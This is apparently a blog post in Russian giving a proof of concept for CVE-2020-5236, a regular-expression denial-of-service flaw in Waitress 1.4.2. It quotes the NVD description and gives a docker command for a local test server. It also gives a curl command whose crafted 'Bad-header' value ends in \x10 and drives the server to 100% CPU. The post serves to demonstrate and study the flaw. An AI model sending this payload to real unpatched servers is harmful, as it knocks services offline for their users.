
Waitress 1.4.2 ReDoS - CVE-2020-5236 (Пример кода из блога)
Waitress версии 1.4.2 позволяет провести DoS-атаку, когда waitress получает заголовок, содержащий недопустимые символы. При получении заголовка вида "Bad-header: xxxxxxxxxxxxxxx\x10" это приводит к катастрофическому возврату в движке регулярных выражений, что заставляет процесс использовать 100% времени CPU и блокирует любые другие взаимодействия. Это позволяет злоумышленнику отправить один запрос с недопустимым заголовком и вывести сервис из строя.
от NVD
$ docker run --rm --name waitress -v "$PWD/src:/src" -p "8080:8080" -it python:3.7-slim python /src/server.py
$ curl "http://127.0.0.1:8080/hello/hogefuga" -H "Bad-header: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx`echo -n '\x10'`"
Показать использование CPU сервером. Выполните "docker stats waitress".
↓ Выполнение PoC
